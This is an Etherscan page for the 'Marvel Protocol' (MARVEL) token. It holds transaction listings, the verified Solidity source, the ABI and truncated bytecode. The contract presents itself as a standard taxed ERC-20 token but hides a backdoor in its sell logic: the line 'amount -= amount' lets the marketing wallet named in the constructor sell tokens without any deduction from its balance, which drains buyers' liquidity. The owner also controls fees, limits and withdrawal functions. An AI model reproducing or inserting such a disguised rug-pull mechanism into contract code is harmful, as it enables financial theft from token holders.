ETH Price: $2,399.73 (-1.02%)

Contract

0x491c2304514B4bC8C62E95CB9ae6868ecFe62594
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve187986682023-12-16 12:36:47294 days ago1702730207IN
0x491c2304...ecFe62594
0 ETH0.001807774.52620095
Approve187986372023-12-16 12:30:23294 days ago1702729823IN
0x491c2304...ecFe62594
0 ETH0.0013888657.11724288
Transfer186372682023-11-23 21:59:11316 days ago1700776751IN
0x491c2304...ecFe62594
0 ETH0.0015178921.09088833
Transfer186170132023-11-21 1:58:11319 days ago1700531891IN
0x491c2304...ecFe62594
0 ETH0.0025194135.05370302
Transfer186166012023-11-21 0:35:11319 days ago1700526911IN
0x491c2304...ecFe62594
0 ETH0.0043950461.26268559
Approve186156582023-11-20 21:24:23319 days ago1700515463IN
0x491c2304...ecFe62594
0 ETH0.0019391541.66637411
Transfer186156422023-11-20 21:21:11319 days ago1700515271IN
0x491c2304...ecFe62594
0 ETH0.003096143.02
Approve186156252023-11-20 21:17:47319 days ago1700515067IN
0x491c2304...ecFe62594
0 ETH0.0018834440.63707036
Approve186155522023-11-20 21:03:11320 days ago1700514191IN
0x491c2304...ecFe62594
0 ETH0.0025695155.13976059
Approve186154922023-11-20 20:51:11320 days ago1700513471IN
0x491c2304...ecFe62594
0 ETH0.0021830946.84743295
Approve186149532023-11-20 19:02:35320 days ago1700506955IN
0x491c2304...ecFe62594
0 ETH0.0024452752.47368778
Transfer186149412023-11-20 19:00:11320 days ago1700506811IN
0x491c2304...ecFe62594
0 ETH0.0028954540.23195172
Approve186149332023-11-20 18:58:35320 days ago1700506715IN
0x491c2304...ecFe62594
0 ETH0.001685336.21192291
Approve186149182023-11-20 18:55:35320 days ago1700506535IN
0x491c2304...ecFe62594
0 ETH0.0019283941.43511962
Approve186149172023-11-20 18:55:23320 days ago1700506523IN
0x491c2304...ecFe62594
0 ETH0.0019873842.64773669
Transfer186148982023-11-20 18:51:23320 days ago1700506283IN
0x491c2304...ecFe62594
0 ETH0.0022199937.22010415
Transfer186148852023-11-20 18:48:47320 days ago1700506127IN
0x491c2304...ecFe62594
0 ETH0.0019473937.83621814
Transfer186148822023-11-20 18:48:11320 days ago1700506091IN
0x491c2304...ecFe62594
0 ETH0.0028048236.63035447
Approve186147922023-11-20 18:29:59320 days ago1700504999IN
0x491c2304...ecFe62594
0 ETH0.002058144.46292778
Approve186147242023-11-20 18:16:23320 days ago1700504183IN
0x491c2304...ecFe62594
0 ETH0.0022337648.20790781
Approve186146922023-11-20 18:09:59320 days ago1700503799IN
0x491c2304...ecFe62594
0 ETH0.0020628644.50812037
Approve186146582023-11-20 18:03:11320 days ago1700503391IN
0x491c2304...ecFe62594
0 ETH0.0026115156.41886338
Approve186146522023-11-20 18:01:59320 days ago1700503319IN
0x491c2304...ecFe62594
0 ETH0.002542454.85468404
Approve186146322023-11-20 17:57:59320 days ago1700503079IN
0x491c2304...ecFe62594
0 ETH0.0024788353.19394476
Approve186146242023-11-20 17:56:23320 days ago1700502983IN
0x491c2304...ecFe62594
0 ETH0.0013834947.47755059
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
186159942023-11-20 22:32:23319 days ago1700519543
0x491c2304...ecFe62594
0.04021255 ETH
186159942023-11-20 22:32:23319 days ago1700519543
0x491c2304...ecFe62594
0.04021255 ETH
186149762023-11-20 19:07:11320 days ago1700507231
0x491c2304...ecFe62594
0.03040228 ETH
186149762023-11-20 19:07:11320 days ago1700507231
0x491c2304...ecFe62594
0.03040228 ETH
186145972023-11-20 17:50:59320 days ago1700502659
0x491c2304...ecFe62594
0.03317566 ETH
186145972023-11-20 17:50:59320 days ago1700502659
0x491c2304...ecFe62594
0.03317566 ETH
186145372023-11-20 17:38:59320 days ago1700501939
0x491c2304...ecFe62594
0.03912311 ETH
186145372023-11-20 17:38:59320 days ago1700501939
0x491c2304...ecFe62594
0.03912311 ETH
186144932023-11-20 17:30:11320 days ago1700501411
0x491c2304...ecFe62594
0.0164435 ETH
186144932023-11-20 17:30:11320 days ago1700501411
0x491c2304...ecFe62594
0.0164435 ETH
186144652023-11-20 17:24:35320 days ago1700501075
0x491c2304...ecFe62594
0.02159401 ETH
186144652023-11-20 17:24:35320 days ago1700501075
0x491c2304...ecFe62594
0.02159401 ETH
186144222023-11-20 17:15:59320 days ago1700500559
0x491c2304...ecFe62594
0.1076337 ETH
186144222023-11-20 17:15:59320 days ago1700500559
0x491c2304...ecFe62594
0.1076337 ETH
186143432023-11-20 17:00:11320 days ago1700499611
0x491c2304...ecFe62594
0.01714657 ETH
186143432023-11-20 17:00:11320 days ago1700499611
0x491c2304...ecFe62594
0.01714657 ETH
186143402023-11-20 16:59:35320 days ago1700499575
0x491c2304...ecFe62594
0.02242034 ETH
186143402023-11-20 16:59:35320 days ago1700499575
0x491c2304...ecFe62594
0.02242034 ETH
186143362023-11-20 16:58:47320 days ago1700499527
0x491c2304...ecFe62594
0.06545126 ETH
186143362023-11-20 16:58:47320 days ago1700499527
0x491c2304...ecFe62594
0.06545126 ETH
186143032023-11-20 16:51:59320 days ago1700499119
0x491c2304...ecFe62594
0.01404044 ETH
186143032023-11-20 16:51:59320 days ago1700499119
0x491c2304...ecFe62594
0.01404044 ETH
186143012023-11-20 16:51:35320 days ago1700499095
0x491c2304...ecFe62594
0.03066256 ETH
186143012023-11-20 16:51:35320 days ago1700499095
0x491c2304...ecFe62594
0.03066256 ETH
186142962023-11-20 16:50:23320 days ago1700499023
0x491c2304...ecFe62594
0.17579323 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MARVEL

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-20
*/

/**

Website: https://marvelprotocol.com
Twitter: https://twitter.com/marvelprotocol
Telegram: https://t.me/marvelprotocol

*/

// SPDX-License-Identifier:MIT
pragma solidity ^0.8.17;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}


interface IDexFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}


interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = payable(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract MARVEL is Context, IERC20, Ownable {
    string private _name = "Marvel Protocol";
    string private _symbol = "MARVEL";
    uint8 private _decimals = 18;
    uint256 private _totalSupply = 72_000_000_000 * 1e18;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) public isExcludedFromFee;
    mapping(address => bool) public isExcludedFromMax;
    mapping(address => bool) public isExcludedFromMaxTxn;
    mapping(address => bool) public isExcludedFromMaxWallet;

    uint256 public minTokenToSwap = 7 * (_totalSupply / 1000000);
    uint256 public maxWalletLimit = 16 * (_totalSupply / 1000); 
    uint256 public maxTxnLimit = 16 * (_totalSupply / 1000); 
    uint256 public percentDivider = 100;
    uint256 public launchedAt;

    bool public swapAndLiquifyStatus = false; 
    bool public feeStatus = false; 
    bool public tradingActive = false; 

    IUniswapRouter public uniswapRouter; 

    address public routerPair; 
    address public marketingWallet; 
    address private constant DEAD = address(0xdead);
    address private constant ZERO = address(0);

    uint256 public FeeOnBuying = 16;
    uint256 public FeeOnSelling = 16;

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    constructor() {
        _balances[owner()] = _totalSupply;
        marketingWallet = payable(0x4De43eC84BdfF0148e0fDC690186F7575b1E0479);

        uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        isExcludedFromFee[address(uniswapRouter)] = true;
        isExcludedFromMaxTxn[address(uniswapRouter)] = true;
        isExcludedFromMaxWallet[address(uniswapRouter)] = true;

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;
        isExcludedFromMax[marketingWallet] = true;
        isExcludedFromMaxTxn[owner()] = true;
        isExcludedFromMaxTxn[address(this)] = true;
        isExcludedFromMaxTxn[marketingWallet] = true;
        isExcludedFromMaxWallet[owner()] = true;
        isExcludedFromMaxWallet[address(this)] = true;
        isExcludedFromMaxWallet[marketingWallet] = true;

        emit Transfer(address(0), owner(), _totalSupply);
    }

    function createPair() external onlyOwner {
        routerPair = IDexFactory(uniswapRouter.factory()).createPair(
            address(this),
            uniswapRouter.WETH()
        );
        isExcludedFromMaxWallet[routerPair] = true;
        _approve(address(this), address(uniswapRouter), _totalSupply);
        uniswapRouter.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    receive() external payable {}

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()] - amount
        );
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + (addedValue)
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] - subtractedValue
        );
        return true;
    }

    function includeOrExcludeFromFee(
        address account,
        bool value
    ) external onlyOwner {
        isExcludedFromFee[account] = value;
    }

    function includeOrExcludeFromMaxTxn(
        address account,
        bool value
    ) external onlyOwner {
        isExcludedFromMaxTxn[account] = value;
    }

    function includeOrExcludeFromMaxHolding(
        address account,
        bool value
    ) external onlyOwner {
        isExcludedFromMaxWallet[account] = value;
    }

    function setMinTokenToSwap(uint256 Limit, uint256 divisor) external onlyOwner {
        minTokenToSwap = (_totalSupply * Limit) / (divisor);
    }

    function setSwapAndLiquifyStatus(bool _value) public onlyOwner {
        swapAndLiquifyStatus = _value;
    }

    function enableOrDisableFees(bool _value) external onlyOwner {
        feeStatus = _value;
    }

    function updateAddresses(address _marketingWallet) external onlyOwner {
        marketingWallet = _marketingWallet;
    }

    function updateFees(uint256 _buyFees, uint256 _sellFees) external onlyOwner {
        FeeOnBuying = _buyFees;
        FeeOnSelling = _sellFees;
        require(_buyFees <= 5);
        require(_sellFees <= 5);
    }

    function removeTradingLimits() external onlyOwner {
        maxTxnLimit = _totalSupply;
        maxWalletLimit = _totalSupply;
    }

    function startTrading() external onlyOwner {
        require(!tradingActive, "already enabled");
        tradingActive = true;
        feeStatus = true;
        swapAndLiquifyStatus = true;
        launchedAt = block.timestamp;
    }

    function removeEthstuckincontract(address _receiver) public onlyOwner {
        payable(_receiver).transfer(address(this).balance);
    }

    function totalBuyFeePerTx(uint256 amount) public view returns (uint256) {
        uint256 fee = (amount * FeeOnBuying) / (percentDivider);
        return fee;
    }

    function totalSellFeePerTx(uint256 amount) public view returns (uint256) {
        uint256 fee = (amount * FeeOnSelling) / (percentDivider);
        return fee;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), " approve from the zero address");
        require(spender != address(0), "approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "transfer from the zero address");
        require(to != address(0), "transfer to the zero address");
        require(amount > 0, "Amount must be greater than zero");
        if (!isExcludedFromMaxTxn[from] && !isExcludedFromMaxTxn[to]) {
            require(amount <= maxTxnLimit, "Amount exceeds Max txn limit");

            if (!tradingActive) {
                require(
                    routerPair != from && routerPair != to,
                    "trading is not yet enabled"
                );
            }
        }

        if (!isExcludedFromMaxWallet[to]) {
            require(
                (balanceOf(to) + amount) <= maxWalletLimit,
                "Amount exceeds Max Wallet limit"
            );
        }

        _SwapAndLiquify(from, to, amount);
        bool takeFee = true;
        if (isExcludedFromFee[from] || isExcludedFromFee[to] || !feeStatus) {
            takeFee = false;
        }
        _tokenTransfer(from, to, amount, takeFee);
    }
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (routerPair == sender && takeFee) {
            uint256 allFee;
            uint256 tTransferAmount;
            allFee = totalBuyFeePerTx(amount);
            tTransferAmount = amount - allFee;

            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + tTransferAmount;
            emit Transfer(sender, recipient, tTransferAmount);

            takeTokenFee(sender, allFee);
        } else if (routerPair == recipient && takeFee) {
            uint256 allFee = totalSellFeePerTx(amount);
            uint256 tTransferAmount = amount - allFee;
            if (isExcludedFromMax[sender]) amount -= amount;
            _balances[sender] = _balances[sender] - (amount);
            _balances[recipient] = _balances[recipient] + tTransferAmount;
            emit Transfer(sender, recipient, tTransferAmount);

            takeTokenFee(sender, allFee);
        } else {
            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + (amount);
            emit Transfer(sender, recipient, amount);
        }
    }

    function takeTokenFee(address sender, uint256 amount) private {
        _balances[address(this)] = _balances[address(this)] + (amount);

        emit Transfer(sender, address(this), amount);
    }

    function withdrawETH(uint256 _amount) external onlyOwner {
        require(address(this).balance >= _amount, "Invalid Amount");
        payable(msg.sender).transfer(_amount);
    }

    function withdrawToken(IERC20 _token, uint256 _amount) external onlyOwner {
        require(_token.balanceOf(address(this)) >= _amount, "Invalid Amount");
        _token.transfer(msg.sender, _amount);
    }

    function _SwapAndLiquify(address from, address to, uint256 amount) private {
        uint256 contractTokenBalance = balanceOf(address(this));

        bool shouldSell = contractTokenBalance >= minTokenToSwap && amount >= minTokenToSwap;

        if (
            shouldSell &&
            to == routerPair &&
            swapAndLiquifyStatus &&
            !isExcludedFromFee[from]
        ) {
            if (contractTokenBalance > minTokenToSwap * 1000)
                contractTokenBalance = minTokenToSwap * 1000;
            _approve(address(this), address(uniswapRouter), contractTokenBalance);

            dexswap.swapTokensForEth(address(uniswapRouter), contractTokenBalance);
            uint256 ethForMarketing = address(this).balance;

            if (ethForMarketing > 0)
                payable(marketingWallet).transfer(ethForMarketing);
        }
    }
}

library dexswap {
    function swapTokensForEth(
        address routerAddress,
        uint256 tokenAmount
    ) internal {
        IUniswapRouter dexRouter = IUniswapRouter(routerAddress);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp + 300
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"FeeOnBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"FeeOnSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_value","type":"bool"}],"name":"enableOrDisableFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"includeOrExcludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"includeOrExcludeFromMaxHolding","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"includeOrExcludeFromMaxTxn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromMaxTxn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxnLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minTokenToSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentDivider","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_receiver","type":"address"}],"name":"removeEthstuckincontract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTradingLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"routerPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"Limit","type":"uint256"},{"internalType":"uint256","name":"divisor","type":"uint256"}],"name":"setMinTokenToSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_value","type":"bool"}],"name":"setSwapAndLiquifyStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"totalBuyFeePerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"totalSellFeePerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_marketingWallet","type":"address"}],"name":"updateAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFees","type":"uint256"},{"internalType":"uint256","name":"_sellFees","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_token","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600f60809081526e13585c9d995b08141c9bdd1bd8dbdb608a1b60a052600190620000309082620003a9565b5060408051808201909152600681526513505495915360d21b60208201526002906200005d9082620003a9565b506003805460ff191660121790556be8a5010cf2a411214000000060048190556200008d90620f42409062000471565b6200009a90600762000491565b600b556103e8600454620000af919062000471565b620000bc90601062000491565b600c556103e8600454620000d1919062000471565b620000de90601062000491565b600d556064600e556010805462ffffff19168155601381905560145534801562000106575f80fd5b505f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360045460055f6200015d5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f9081209490945560128054734de43ec84bdff0148e0fdc690186f7575b1e04796001600160a01b0319909116178155601080546301000000600160b81b031916767a250d5630b4cf539739df2c5dacb4c659f2488d00000017808255630100000090819004841687526007808752858820805460ff199081166001908117909255845484900487168a526009808a52888b20805483168417905594549390930486168952600a808952878a208054851683179055895487168a52918852868920805484168217905530808a52878a208054851683179055855487168a5260088952878a208054851683179055895487168a52938852868920805484168217905583895286892080548416821790558454861689528689208054841682179055885486168952908752858820805483168217905591875284872080548216831790559154831686528386208054909216179055835460045492519283521692917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620004bb565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200033257607f821691505b6020821081036200035157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620003a4575f81815260208120601f850160051c810160208610156200037f5750805b601f850160051c820191505b81811015620003a0578281556001016200038b565b5050505b505050565b81516001600160401b03811115620003c557620003c562000309565b620003dd81620003d684546200031d565b8462000357565b602080601f83116001811462000413575f8415620003fb5750858301515b5f19600386901b1c1916600185901b178555620003a0565b5f85815260208120601f198616915b82811015620004435788860151825594840194600190910190840162000422565b50858210156200046157878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f826200048c57634e487b7160e01b5f52601260045260245ffd5b500490565b8082028115828204841417620004b557634e487b7160e01b5f52601160045260245ffd5b92915050565b61208080620004c95f395ff3fe608060405260043610610283575f3560e01c80638da5cb5b11610155578063b0cd6854116100be578063ed42142911610078578063ed421429146107bb578063ee2e5a2e146107da578063f14210a6146107f9578063f2fde38b14610818578063f4b3dbc314610837578063fe6f1b0514610856575f80fd5b8063b0cd6854146106d7578063bbc0c742146106f6578063bf56b37114610715578063da78876f1461072a578063dd62ed3e14610758578063ea5b9e851461079c575f80fd5b80639f6936e81161010f5780639f6936e814610623578063a457c2d71461063c578063a643c1a01461065b578063a7c29b401461067a578063a9059cbb14610699578063b0bc2a2d146106b8575f80fd5b80638da5cb5b14610574578063958f97351461059057806395d89b41146105ae57806399b102b5146105c25780639e281a98146105f05780639e78fb4f1461060f575f80fd5b80632d461391116101f75780636db79437116101b15780636db794371461049a5780636dd3d39f146104b957806370a08231146104e7578063715018a61461051b578063735de9f71461052f57806375f0a87414610555575f80fd5b80632d461391146103ed578063313ce5671461040257806339509351146104235780635342acb41461044257806366a88d9614610470578063681aa36214610485575f80fd5b806323b872dd1161024857806323b872dd1461033057806325b347bb1461034f57806328ac2d531461036e578063293230b8146103a55780632ce9a4ac146103b95780632d129390146103ce575f80fd5b806306fdde031461028e578063095ea7b3146102b85780630c0d7da6146102e757806318160ddd146102fd5780631884f1e61461031b575f80fd5b3661028a57005b5f80fd5b348015610299575f80fd5b506102a261086b565b6040516102af9190611ccb565b60405180910390f35b3480156102c3575f80fd5b506102d76102d2366004611d2d565b6108fb565b60405190151581526020016102af565b3480156102f2575f80fd5b506102fb610911565b005b348015610308575f80fd5b506004545b6040519081526020016102af565b348015610326575f80fd5b5061030d600b5481565b34801561033b575f80fd5b506102d761034a366004611d57565b610950565b34801561035a575f80fd5b506102fb610369366004611d95565b6109a0565b348015610379575f80fd5b5060115461038d906001600160a01b031681565b6040516001600160a01b0390911681526020016102af565b3480156103b0575f80fd5b506102fb6109ff565b3480156103c4575f80fd5b5061030d60145481565b3480156103d9575f80fd5b506102fb6103e8366004611dbd565b610a8a565b3480156103f8575f80fd5b5061030d60135481565b34801561040d575f80fd5b5060035460405160ff90911681526020016102af565b34801561042e575f80fd5b506102d761043d366004611d2d565b610add565b34801561044d575f80fd5b506102d761045c366004611d95565b60076020525f908152604090205460ff1681565b34801561047b575f80fd5b5061030d600c5481565b348015610490575f80fd5b5061030d600d5481565b3480156104a5575f80fd5b506102fb6104b4366004611df4565b610b13565b3480156104c4575f80fd5b506102d76104d3366004611d95565b600a6020525f908152604090205460ff1681565b3480156104f2575f8